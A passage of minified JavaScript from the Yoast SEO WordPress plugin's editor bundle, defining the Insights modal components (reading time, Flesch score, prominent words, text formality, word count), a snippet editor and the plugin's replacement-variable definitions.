e=(0,i.useSelect)((e=>e("yoast-seo/editor").getEstimatedReadingTime()),[]),t=(0,u.useMemo)((()=>(0,R.get)(window,"wpseoAdminL10n.shortlinks-insights-estimated_reading_time","")),[]);return(0,c.createElement)(Kt.InsightsCard,{amount:e,unit:(0,m._n)("minute","minutes",e,"wordpress-seo"),title:(0,m.__)("Reading time","wordpress-seo"),linkTo:t
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about reading time","wordpress-seo")})},Cr=(0,Ht.makeOutboundLink)();function Ir(e,t,s){const r=function(e){switch(e){case we.DIFFICULTY.FAIRLY_DIFFICULT:case we.DIFFICULTY.DIFFICULT:case we.DIFFICULTY.VERY_DIFFICULT:return(0,m.__)("Try to make shorter sentences, using less difficult words to improve readability","wordpress-seo");case we.DIFFICULTY.NO_DATA:return(0,m.__)("Continue writing to get insight into the readability of your text!","wordpress-seo");default:return(0,m.__)("Good job!","wordpress-seo")}}(t);return(0,c.createElement)("span",null,function(e,t){return-1===e?(0,m.sprintf)((0,m.__)("Your text should be slightly longer to calculate your Flesch reading ease score.","wordpress-seo")):(0,m.sprintf)(
/* Translators: %1$s expands to the numeric Flesch reading ease score,
%2$s expands to the easiness of reading (e.g. 'easy' or 'very difficult').
*/
(0,m.__)("The copy scores %1$s in the test, which is considered %2$s to read.","wordpress-seo"),e,function(e){switch(e){case we.DIFFICULTY.NO_DATA:return(0,m.__)("no data","wordpress-seo");case we.DIFFICULTY.VERY_EASY:return(0,m.__)("very easy","wordpress-seo");case we.DIFFICULTY.EASY:return(0,m.__)("easy","wordpress-seo");case we.DIFFICULTY.FAIRLY_EASY:return(0,m.__)("fairly easy","wordpress-seo");case we.DIFFICULTY.OKAY:return(0,m.__)("okay","wordpress-seo");case we.DIFFICULTY.FAIRLY_DIFFICULT:return(0,m.__)("fairly difficult","wordpress-seo");case we.DIFFICULTY.DIFFICULT:return(0,m.__)("difficult","wordpress-seo");case we.DIFFICULTY.VERY_DIFFICULT:return(0,m.__)("very difficult","wordpress-seo")}}(t))}(e,t)," ",t>=we.DIFFICULTY.FAIRLY_DIFFICULT?(0,c.createElement)(Cr,{href:s},r+"."):r)}const Pr=()=>{let e=(0,i.useSelect)((e=>e("yoast-seo/editor").getFleschReadingEaseScore()),[]);const t=(0,u.useMemo)((()=>(0,R.get)(window,"wpseoAdminL10n.shortlinks-insights-flesch_reading_ease","")),[]),s=(0,i.useSelect)((e=>e("yoast-seo/editor").getFleschReadingEaseDifficulty()),[e]),r=(0,u.useMemo)((()=>{const t=(0,R.get)(window,"wpseoAdminL10n.shortlinks-insights-flesch_reading_ease_article","");return Ir(e,s,t)}),[e,s]);return-1===e&&(e="?"),(0,c.createElement)(Kt.InsightsCard,{amount:e,unit:(0,m.__)("out of 100","wordpress-seo"),title:(0,m.__)("Flesch reading ease","wordpress-seo"),linkTo:t
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about Flesch reading ease","wordpress-seo"),description:r})};let Lr,Ar,Or,Fr;const Dr=/<(\/)?(\w+)\s*(\/)?>/g;function Mr(e,t,s,r,n){return{element:e,tokenStart:t,tokenLength:s,prevOffset:r,leadingTextStart:n,children:[]}}function Nr(){const e=Lr.length-Ar;0!==e&&Or.push(Lr.substring(Ar,Ar+e))}function qr(e){const{element:t,tokenStart:s,tokenLength:r,prevOffset:n,children:a}=e,o=Fr[Fr.length-1],i=Lr.substring(o.prevOffset,s);i&&o.children.push(i),o.children.push((0,u.cloneElement)(t,null,...a)),o.prevOffset=n||s+r}function Ur(e){const t=function(){const e=Dr.exec(Lr);if(null===e)return["no-more-tokens"];const t=e.index,[s,r,n,a]=e,o=s.length;return a?["self-closed",n,t,o]:r?["closer",n,t,o]:["opener",n,t,o]}(),[s,r,n,a]=t,o=Fr.length,i=n>Ar?Ar:null;if(!e[r])return Nr(),!1;switch(s){case"no-more-tokens":if(0!==o){const{leadingTextStart:e,tokenStart:t}=Fr.pop();Or.push(Lr.substring(e,e+t))}return Nr(),!1;case"self-closed":return 0===o?(null!==i&&Or.push(Lr.substring(i,n)),Or.push(e[r]),Ar=n+a,!0):(qr(Mr(e[r],n,a)),Ar=n+a,!0);case"opener":return Fr.push(Mr(e[r],n,a,n+a,i)),Ar=n+a,!0;case"closer":if(1===o)return function(e){const{element:t,leadingTextStart:s,prevOffset:r,tokenStart:n,children:a}=Fr.pop(),o=e?Lr.substring(r,e):Lr.substring(r);o&&a.push(o),null!==s&&Or.push(Lr.substring(s,n)),Or.push((0,u.cloneElement)(t,null,...a))}(n),Ar=n+a,!0;const t=Fr.pop(),s=Lr.substring(t.prevOffset,n);t.children.push(s),t.prevOffset=n+a;const l=Mr(t.element,t.tokenStart,t.tokenLength,n+a);return l.children=t.children,qr(l),Ar=n+a,!0;default:return Nr(),!1}}const $r=(e,t)=>{if(Lr=e,Ar=0,Or=[],Fr=[],Dr.lastIndex=0,!(e=>{const t="object"==typeof e,s=t&&Object.values(e);return t&&s.length&&s.every((e=>(0,u.isValidElement)(e)))})(t))throw new TypeError("The conversionMap provided is not valid. It must be an object with values that are WPElements");do{}while(Ur(t));return(0,u.createElement)(u.Fragment,null,...Or)},Br=({data:e,itemScreenReaderText:t,className:s,...r})=>{const n=(0,u.useMemo)((()=>{var t,s;return null!==(t=null===(s=(0,R.maxBy)(e,"number"))||void 0===s?void 0:s.number)&&void 0!==t?t:0}),[e]);return(0,c.createElement)("ul",{className:Bt()("yoast-data-model",s),...r},e.map((({name:e,number:s})=>(0,c.createElement)("li",{key:`${e}_dataItem`,style:{"--yoast-width":s/n*100+"%"}},e,(0,c.createElement)("span",null,s),t&&(0,c.createElement)("span",{className:"screen-reader-text"},(0,m.sprintf)(t,s))))))};Br.propTypes={data:y().arrayOf(y().shape({name:y().string.isRequired,number:y().number.isRequired})),itemScreenReaderText:y().string,className:y().string},Br.defaultProps={data:[],itemScreenReaderText:"",className:""};const Wr=Br,Yr=(0,Ht.makeOutboundLink)(),Kr=({location:e})=>{const t=(0,i.useSelect)((e=>{var t,s;return null===(t=null===(s=e("yoast-seo-premium/editor"))||void 0===s?void 0:s.getPreference("isProminentWordsAvailable",!1))||void 0===t||t}),[]),s=(0,i.useSelect)((e=>e("yoast-seo/editor").getPreference("shouldUpsell",!1)),[]),r=(0,u.useMemo)((()=>(0,R.get)(window,`wpseoAdminL10n.shortlinks-insights-upsell-${e}-prominent_words`,"")),[e]),n=(0,u.useMemo)((()=>{const e=(0,R.get)(window,"wpseoAdminL10n.shortlinks-insights-keyword_research_link","");return $r((0,m.sprintf)(
// translators: %1$s and %2$s are replaced by opening and closing <a> tags.
(0,m.__)("Read our %1$sultimate guide to keyword research%2$s to learn more about keyword research and keyword strategy.","wordpress-seo"),"<a>","</a>"),{a:(0,c.createElement)(Yr,{href:e})})}),[]),a=(0,u.useMemo)((()=>$r((0,m.sprintf)(
// translators: %1$s expands to a starting `b` tag, %1$s expands to a closing `b` tag and %3$s expands to `Yoast SEO Premium`.
(0,m.__)("With %1$s%3$s%2$s, this section will show you which words occur most often in your text. By checking these prominent words against your intended keyword(s), you'll know how to edit your text to be more focused.","wordpress-seo"),"<b>","</b>","Yoast SEO Premium"),{b:(0,c.createElement)("b",null)})),[]),o=(0,i.useSelect)((e=>{var t,s;return null!==(t=null===(s=e("yoast-seo-premium/editor"))||void 0===s?void 0:s.getProminentWords())&&void 0!==t?t:[]}),[]),l=(0,u.useMemo)((()=>{const e=(0,m.sprintf)(
// translators: %1$s expands to Yoast SEO Premium.
(0,m.__)("Get %s to enjoy the benefits of prominent words","wordpress-seo"),"Yoast SEO Premium").split(/\s+/);return e.map(((t,s)=>({name:t,number:e.length-s})))}),[]),d=(0,u.useMemo)((()=>s?l:o.map((({word:e,occurrence:t})=>({name:e,number:t})))),[o,l]);if(!t)return null;const{locationContext:p}=(0,gt.useRootContext)();return(0,c.createElement)("div",{className:"yoast-prominent-words"},(0,c.createElement)("div",{className:"yoast-field-group__title"},(0,c.createElement)("b",null,(0,m.__)("Prominent words","wordpress-seo"))),!s&&(0,c.createElement)("p",null,0===d.length?(0,m.__)("Once you add a bit more copy, we'll give you a list of words that occur the most in the content. These give an indication of what your content focuses on.","wordpress-seo"):(0,m.__)("The following words occur the most in the content. These give an indication of what your content focuses on. If the words differ a lot from your topic, you might want to rewrite your content accordingly.","wordpress-seo")),s&&(0,c.createElement)("p",null,a),s&&(0,c.createElement)(Yr,{href:(0,Ut.addQueryArgs)(r,{context:p}),"data-action":"load-nfd-ctb","data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2",className:"yoast-button yoast-button-upsell"},(0,m.sprintf)(
// translators: %s expands to `Premium` (part of add-on name).
(0,m.__)("Unlock with %s","wordpress-seo"),"Premium"),(0,c.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"})),(0,c.createElement)("p",null,n),(0,c.createElement)(Wr,{data:d,itemScreenReaderText:/* translators: Hidden accessibility text; %d expands to the number of occurrences. */
(0,m.__)("%d occurrences","wordpress-seo"),"aria-label":(0,m.__)("Prominent words","wordpress-seo"),className:s?"yoast-data-model--upsell":null}))};Kr.propTypes={location:y().string.isRequired};const jr=Kr,zr=(0,Ht.makeOutboundLink)(),Hr=({location:e})=>{const t=(0,u.useMemo)((()=>(0,R.get)(window,`wpseoAdminL10n.shortlinks-insights-upsell-${e}-text_formality`,"")),[e]),s=(0,u.useMemo)((()=>$r((0,m.sprintf)(
// Translators: %1$s expands to a starting `b` tag, %2$s expands to a closing `b` tag and %3$s expands to `Yoast SEO Premium`.
(0,m.__)("%1$s%3$s%2$s will help you assess the formality level of your text.","wordpress-seo"),"<b>","</b>","Yoast SEO Premium"),{b:(0,c.createElement)("b",null)})),[]);return(0,c.createElement)(u.Fragment,null,(0,c.createElement)("div",null,(0,c.createElement)("p",null,s),(0,c.createElement)(zr,{href:t,className:"yoast-button yoast-button-upsell"},(0,m.sprintf)(
// Translators: %s expands to `Premium` (part of add-on name).
(0,m.__)("Unlock with %s","wordpress-seo"),"Premium"),(0,c.createElement)("span",{"aria-hidden":"true",className:"yoast-button-upsell__caret"}))))};Hr.propTypes={location:y().string.isRequired};const Vr=Hr,Gr=({location:e,name:t})=>{const s=(0,i.useSelect)((e=>e("yoast-seo/editor").isFormalitySupported()),[]),r=ve().isPremium,n=r?(0,R.get)(window,"wpseoAdminL10n.shortlinks-insights-text_formality_info_premium",""):(0,R.get)(window,"wpseoAdminL10n.shortlinks-insights-text_formality_info_free",""),a=(0,m.__)("Read more about text formality.","wordpress-seo");return s?(0,c.createElement)("div",{className:"yoast-text-formality"},(0,c.createElement)("div",{className:"yoast-field-group__title"},(0,c.createElement)("b",null,(0,m.__)("Text formality","wordpress-seo")),(0,c.createElement)(Kt.HelpIcon,{linkTo:n,linkText:a})),r?(0,c.createElement)(p.Slot,{name:t}):(0,c.createElement)(Vr,{location:e})):null};Gr.propTypes={location:y().string.isRequired,name:y().string.isRequired};const Zr=Gr,Qr=()=>{const e=(0,i.useSelect)((e=>e("yoast-seo/editor").getTextLength()),[]),t=(0,u.useMemo)((()=>(0,R.get)(window,"wpseoAdminL10n.shortlinks-insights-word_count","")),[]);let s=(0,m._n)("word","words",e.count,"wordpress-seo"),r=(0,m.__)("Word count","wordpress-seo"),n=(0,m.__)("Learn more about word count","wordpress-seo");return"character"===e.unit&&(s=(0,m._n)("character","characters",e.count,"wordpress-seo"),r=(0,m.__)("Character count","wordpress-seo"),
/* translators: Hidden accessibility text. */
n=(0,m.__)("Learn more about character count","wordpress-seo")),(0,c.createElement)(Kt.InsightsCard,{amount:e.count,unit:s,title:r,linkTo:t,linkText:n})},Xr=ht()(vr)`
width: 18px;
height: 18px;
margin: 3px;
`,Jr=({location:e})=>{const t=(0,i.useSelect)((e=>e("yoast-seo/editor").getIsElementorEditor()),[]),s=(0,i.useSelect)((e=>e("yoast-seo/editor").isFleschReadingEaseAvailable()),[]),r=kr();return(0,c.createElement)(Tr,{title:(0,m.__)("Insights","wordpress-seo"),id:`yoast-insights-modal-${e}`,shouldCloseOnClickOutside:!t,showChangesWarning:!1,SuffixHeroIcon:(0,c.createElement)(Xr,{className:"yst-text-slate-500",...r})},(0,c.createElement)("div",{className:"yoast-insights yoast-modal-content--columns"},(0,c.createElement)(jr,{location:e}),(0,c.createElement)("div",null,s&&(0,c.createElement)("div",{className:"yoast-insights-row"},(0,c.createElement)(Pr,null)),(0,c.createElement)("div",{className:"yoast-insights-row yoast-insights-row--columns"},(0,c.createElement)(Rr,null),(0,c.createElement)(Qr,null)),(0,Re.isFeatureEnabled)("TEXT_FORMALITY")&&(0,c.createElement)(Zr,{location:e,name:"YoastTextFormalityMetabox"}))))};Jr.propTypes={location:y().string},Jr.defaultProps={location:"sidebar"};const en=Jr;function tn(e){return 0===e.message.length?null:(0,c.createElement)(Kt.Alert,{type:e.type},e.message)}tn.propTypes={message:y().oneOfType([y().array,y().string]).isRequired,type:y().string.isRequired};const sn=(0,i.withSelect)((e=>{const{getWarningMessage:t}=e("yoast-seo/editor");return{message:t(),type:"info"}}))(tn),rn=({children:e})=>(0,c.createElement)("div",null,e);rn.propTypes={renderPriority:y().number.isRequired,children:y().node.isRequired};const nn=rn,an=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{fillRule:"evenodd",d:"M8 4a4 4 0 100 8 4 4 0 000-8zM2 8a6 6 0 1110.89 3.476l4.817 4.817a1 1 0 01-1.414 1.414l-4.816-4.816A6 6 0 012 8z",clipRule:"evenodd"}))})),on=window.yoast.searchMetadataPreviews,ln=ht()(Kt.StyledSection)`
&${Kt.StyledSectionBase} {
padding: 0;
& ${Kt.StyledHeading} {
${(0,Ht.getDirectionalStyle)("padding-left","padding-right")}: 20px;
margin-left: ${(0,Ht.getDirectionalStyle)("0","20px")};
}
}
`,cn=({children:e,title:t,icon:s,hasPaperStyle:r,shoppingData:n})=>(0,c.createElement)(ln,{headingLevel:3,headingText:t,headingIcon:s,headingIconColor:"#555",hasPaperStyle:r,shoppingData:n},e);cn.propTypes={children:y().element,title:y().string,icon:y().string,hasPaperStyle:y().bool,shoppingData:y().object},cn.defaultProps={hasPaperStyle:!0,shoppingData:null};const dn=cn,pn=window.wp.sanitize,{stripHTMLTags:un}=Ht.strings,mn=(0,R.memoize)(((e,t)=>0===e?R.noop:(0,R.debounce)((s=>t(s,e)),500))),hn=({link:e,text:t})=>(0,c.createElement)(h.Root,null,(0,c.createElement)("p",null,t),(0,c.createElement)(h.Button,{href:e,as:"a",className:"yst-gap-2 yst-mb-5 yst-mt-2",variant:"upsell",target:"_blank",rel:"noopener"},(0,c.createElement)(f,{className:"yst-w-4 yst-h-4 yst--ms-1 yst-shrink-0"}),(0,m.sprintf)(/* translators: %1$s expands to Yoast WooCommerce SEO. */
(0,m.__)("Unlock with %1$s","wordpress-seo"),"Yoast WooCommerce SEO")));hn.propTypes={link:y().string.isRequired,text:y().string.isRequired};const gn=hn,yn=function(e,t){let s=0;return t.shortenedBaseUrl&&"string"==typeof t.shortenedBaseUrl&&(s=t.shortenedBaseUrl.length),e.url=e.url.replace(/\s+/g,"-"),"-"===e.url[e.url.length-1]&&(e.url=e.url.slice(0,-1)),"-"===e.url[s]&&(e.url=e.url.slice(0,s)+e.url.slice(s+1)),function(e){const t=(0,R.get)(window,["YoastSEO","app","pluggable"],!1);if(!t||!(0,R.get)(window,["YoastSEO","app","pluggable","loaded"],!1))return function(e){const t=(0,R.get)(window,["YoastSEO","wp","replaceVarsPlugin","replaceVariables"],R.identity);return{url:e.url,title:un(t(e.title)),description:un(t(e.description)),filteredSEOTitle:e.filteredSEOTitle?un(t(e.filteredSEOTitle)):""}}(e);const s=t._applyModifications.bind(t);return{url:e.url,title:un(s("data_page_title",e.title)),description:un(s("data_meta_desc",e.description)),filteredSEOTitle:e.filteredSEOTitle?un(s("data_page_title",e.filteredSEOTitle)):""}}(e)},fn=(0,Nt.compose)([(0,i.withSelect)((function(e){const{getBaseUrlFromSettings:t,getDateFromSettings:s,getFocusKeyphrase:r,getRecommendedReplaceVars:n,getReplaceVars:a,getShoppingData:o,getSiteIconUrlFromSettings:i,getSnippetEditorData:l,getSnippetEditorMode:c,getSnippetEditorPreviewImageUrl:d,getSnippetEditorWordsToHighlight:p,isCornerstoneContent:u,getIsTerm:m,getContentLocale:h,getSiteName:g}=e("yoast-seo/editor"),y=a();return y.forEach((e=>{""!==e.value||["title","excerpt","excerpt_only"].includes(e.name)||(e.value="%%"+e.name+"%%")})),{baseUrl:t(),data:l(),date:s(),faviconSrc:i(),keyword:r(),mobileImageSrc:d(),mode:c(),recommendedReplacementVariables:n(),replacementVariables:y,shoppingData:o(),wordsToHighlight:p(),isCornerstone:u(),isTaxonomy:m(),locale:h(),siteName:g()}})),(0,i.withDispatch)((function(e,t,{select:s}){const{updateData:r,switchMode:n,updateAnalysisData:a,findCustomFields:o}=e("yoast-seo/editor"),i=e("core/editor"),l=s("yoast-seo/editor").getPostId();return{onChange:(e,t)=>{switch(e){case"mode":n(t);break;case"slug":r({slug:t}),i&&i.editPost({slug:t});break;default:r({[e]:t})}},onChangeAnalysisData:a,onReplacementVariableSearchChange:mn(l,o)}}))])((e=>{const t=(0,i.useSelect)((e=>e("yoast-seo/editor").selectLink("https://yoa.st/product-google-preview-metabox")),[]),s=(0,i.useSelect)((e=>e("yoast-seo/editor").getIsWooSeoUpsell()),[]),r=(0,m.__)("Want an enhanced Google preview of how your WooCommerce products look in the search results?","wordpress-seo");return(0,c.createElement)(gt.LocationConsumer,null,(n=>(0,c.createElement)(dn,{icon:"eye",hasPaperStyle:e.hasPaperStyle},(0,c.createElement)(c.Fragment,null,s&&(0,c.createElement)(gn,{link:t,text:r}),(0,c.createElement)(on.SnippetEditor,{...e,descriptionPlaceholder:(0,m.__)("Please provide a meta description by editing the snippet below.","wordpress-seo"),mapEditorDataToPreview:yn,showCloseButton:!1,idSuffix:n})))))})),wn={name:"author_first_name",label:"Author first name",placeholder:"%%author_first_name%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.author_first_name","")},regexp:new RegExp("%%author_first_name%%","g")},bn={name:"author_last_name",label:"Author last name",placeholder:"%%author_last_name%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.author_last_name","")},regexp:new RegExp("%%author_last_name%%","g")},En={name:"currentdate",label:"Current date",placeholder:"%%currentdate%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.currentdate","")},regexp:new RegExp("%%currentdate%%","g")},vn={name:"currentday",label:"Current day",placeholder:"%%currentday%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.currentday","")},regexp:new RegExp("%%currentday%%","g")},kn={name:"currentmonth",label:"Current month",placeholder:"%%currentmonth%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.currentmonth","")},regexp:new RegExp("%%currentmonth%%","g")},xn={name:"category",label:"Category",placeholder:"%%category%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.category","")},regexp:new RegExp("%%category%%","g")},Sn={name:"category_title",label:"Category Title",placeholder:"%%category_title%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.category_title","")},regexp:new RegExp("%%category_title%%","g")},Tn={name:"currentyear",label:"Current year",placeholder:"%%currentyear%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.currentyear","")},regexp:new RegExp("%%currentyear%%","g")},Rn={name:"date",label:"Date",placeholder:"%%date%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.date","")},regexp:new RegExp("%%date%%","g")},Cn={name:"excerpt",label:"Excerpt",placeholder:"%%excerpt%%",aliases:[{name:"excerpt_only",label:"Excerpt only",placeholder:"%%excerpt_only%%"}],getReplacement:function(){return(0,i.select)("yoast-seo/editor").getEditorDataExcerptWithFallback()},regexp:new RegExp("%%excerpt%%|%%excerpt_only%%","g")},In={name:"focuskw",label:"Focus keyphrase",placeholder:"%%focuskw%%",aliases:[],getReplacement:function(){return(0,i.select)("yoast-seo/editor").getFocusKeyphrase()},regexp:new RegExp("%%focuskw%%|%%keyword%%","g")},Pn={name:"id",label:"ID",placeholder:"%%id%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.id","")},regexp:new RegExp("%%id%%","g")},Ln={name:"modified",label:"Modified",placeholder:"%%modified%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.modified","")},regexp:new RegExp("%%modified%%","g")},An={name:"name",label:"Name",placeholder:"%%name%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.name","")},regexp:new RegExp("%%name%%","g")},On={name:"page",label:"Page",placeholder:"%%page%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.page","")},regexp:new RegExp("%%page%%","g")},Fn={name:"pagenumber",label:"Pagenumber",placeholder:"%%pagenumber%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.pagenumber","")},regexp:new RegExp("%%pagenumber%%","g")},Dn={name:"pagetotal",label:"Pagetotal",placeholder:"%%pagetotal%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.pagetotal","")},regexp:new RegExp("%%pagetotal%%","g")},Mn={name:"permalink",label:"Permalink",placeholder:"%%permalink%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.permalink","")},regexp:new RegExp("%%permalink%%","g")},Nn={name:"post_content",label:"Post Content",placeholder:"%%post_content%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.post_content","")},regexp:new RegExp("%%post_content%%","g")},qn={name:"post_day",label:"Post Day",placeholder:"%%post_day%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.post_day","")},regexp:new RegExp("%%post_day%%","g")},Un={name:"post_month",label:"Post Month",placeholder:"%%post_month%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.post_month","")},regexp:new RegExp("%%post_month%%","g")},$n={name:"post_year",label:"Post Year",placeholder:"%%post_year%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.post_year","")},regexp:new RegExp("%%post_year%%","g")},Bn={name:"pt_plural",label:"Post type (plural)",placeholder:"%%pt_plural%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.pt_plural","")},regexp:new RegExp("%%pt_plural%%","g")},Wn={name:"pt_single",label:"Post type (singular)",placeholder:"%%pt_single%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.pt_single","")},regexp:new RegExp("%%pt_single%%","g")},Yn={name:"primary_category",label:"Primary category",placeholder:"%%primary_category%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.primary_category","")},regexp:new RegExp("%%primary_category%%","g")},Kn={name:"searchphrase",label:"Search phrase",placeholder:"%%searchphrase%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.searchphrase","")},regexp:new RegExp("%%searchphrase%%","g")},jn={name:"sep",label:"Separator",placeholder:"%%sep%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.sep","")},regexp:new RegExp("%%sep%%(\\s*%%sep%%)*","g")},zn={name:"sitedesc",label:"Tagline",placeholder:"%%sitedesc%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.sitedesc","")},regexp:new RegExp("%%sitedesc%%","g")},Hn={name:"sitename",label:"Site title",placeholder:"%%sitename%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.sitename","")},regexp:new RegExp("%%sitename%%","g")},Vn={name:"tag",label:"Tag",placeholder:"%%tag%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.tag","")},regexp:new RegExp("%%tag%%","g")},Gn={name:"term404",label:"Term404",placeholder:"%%term404%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.term404","")},regexp:new RegExp("%%term404%%","g")},Zn={name:"term_description",label:"Term description",placeholder:"%%term_description%%",aliases:[{name:"tag_description",label:"Tag description",placeholder:"%%tag_description%%"},{name:"category_description",label:"Category description",placeholder:"%%category_description%%"}],getReplacement:function(){return(0,R.get)(window,"YoastSEO.app.rawData.text","")},regexp:new RegExp("%%term_description%%|%%tag_description%%|%%category_description%%","g")},Qn={name:"term_hierarchy",label:"Term hierarchy",placeholder:"%%term_hierarchy%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.term_hierarchy","")},regexp:new RegExp("%%term_hierarchy%%","g")},Xn={name:"term_title",label:"Term title",placeholder:"%%term_title%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.term_title","")},regexp:new RegExp("%%term_title%%","g")},Jn={name:"title",label:"Title",placeholder:"%%title%%",aliases:[],getReplacement:function(){return(0,i.select)("yoast-seo/editor").getEditorDataTitle()},regexp:new RegExp("%%title%%","g")},ea={name:"user_description",label:"User description",placeholder:"%%user_description%%",aliases:[],getReplacement:function(){return(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.replace_vars.user_description","")},regexp:new RegExp("%%user_description%%","g")};var ta={source:"wpseoScriptData.analysis.plugins.replaceVars",scope:[],aliases:[]},sa=function(e,t,s){this.placeholder=e,this.replacement=t,this.options=(0,R.defaults)(s,ta)};sa.prototype.getPlaceholder=function(e){return(e=e||!1)&&this.hasAlias()?this.placeholder+"|"+this.getAliases().join("|"):this.placeholder},sa.prototype.setSource=function(e){this.options.source=e},sa.prototype.hasScope=function(){return!(0,R.isEmpty)(this.options.scope)},sa.prototype.addScope=function(e){this.hasScope()||(this.options.scope=[]),this.options.scope.push(e)},sa.prototype.inScope=function(e){return!this.hasScope()||(0,R.indexOf)(this.options.scope,e)>-1},sa.prototype.hasAlias=function(){return!(0,R.isEmpty)(this.options.aliases)},sa.prototype.addAlias=function(e){this.hasAlias()||(this.options.aliases=[]),this.options.aliases.push(e)},sa.prototype.getAliases=function(){return this.options.aliases};const ra=sa,na="replaceVariablePlugin";let aa=null,oa=null;const ia=e=>{["content","title","snippet_title","snippet_meta","primary_category","data_page_title","data_meta_desc","excerpt"].forEach((t=>{Oe(t,e,na,10)}))},la=(e="")=>{switch(""===e&&(e=(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.scope","")),e){case"post":case"page":return["authorFirstName","authorLastName","category","categoryTitle","currentDate","currentDay","currentMonth","currentYear","date","excerpt","id","focusKeyphrase","modified","name","page","primaryCategory","pageNumber","pageTotal","permalink","postContent","postDay","postMonth","postYear","postTypeNamePlural","postTypeNameSingular","searchPhrase","separator","siteDescription","siteName","tag","title","userDescription"]}return[]},ca=e=>ia((t=>t.replace(new RegExp(e.placeholder,"g"),e.replacement))),da=()=>{if(null===oa){oa=[];const t=(0,R.get)(window,"wpseoScriptData.analysis.plugins.replaceVars.hidden_replace_vars",[]);(null===aa&&(aa=la().map((t=>null==e?void 0:e[t])).filter(Boolean)),aa).forEach((e=>{const s=t.includes(e.name);oa.push({name:e.name,label:e.label,value:e.placeholder,hidden:s}),e.aliases.forEach((e=>{oa.push({name:e.name,label:e.label,value:e.placeholder,hidden:s})}))}))}return oa},{stripHTMLTags:pa}=Ht.strings,ua=(e,t)=>{const s=(0,i.select)("yoast-seo/editor").getSnippetEditorTemplates();""===e.title&&(e.title=s.title),""===e.description&&(e.description=s.description);let r=0;return t.shortenedBaseUrl&&"string"==typeof t.shortenedBaseUrl&&(r=t.shortenedBaseUrl.length),e.url=e.url.replace(/\s+/g,"-"),"-"===e.url[e.url.length-1]&&(e.url=e.url.slice(0,-1)),"-"===e.url[r]&&(e.url=e.url.slice(0,r)+e.url.slice(r+1)),{url:e.url,title:pa(De("data_page_title",e.title)),description:pa(De("data_meta_desc",e.description)),filteredSEOTitle:pa(De("data_page_title",e.filteredSEOTitle))}},ma=({isLoading:e,onLoad:t,location:s,...r})=>((0,u.useEffect)((()=>{setTimeout((()=>{e&&t()}))})),e?null:(0,c.createElement)(dn,{icon:"eye",hasPaperStyle:r.hasPaperStyle},(0,c.createElement)(on.SnippetEditor,{...r,descriptionPlaceholder:(0,m.__)("Please provide a meta description by editing the snippet 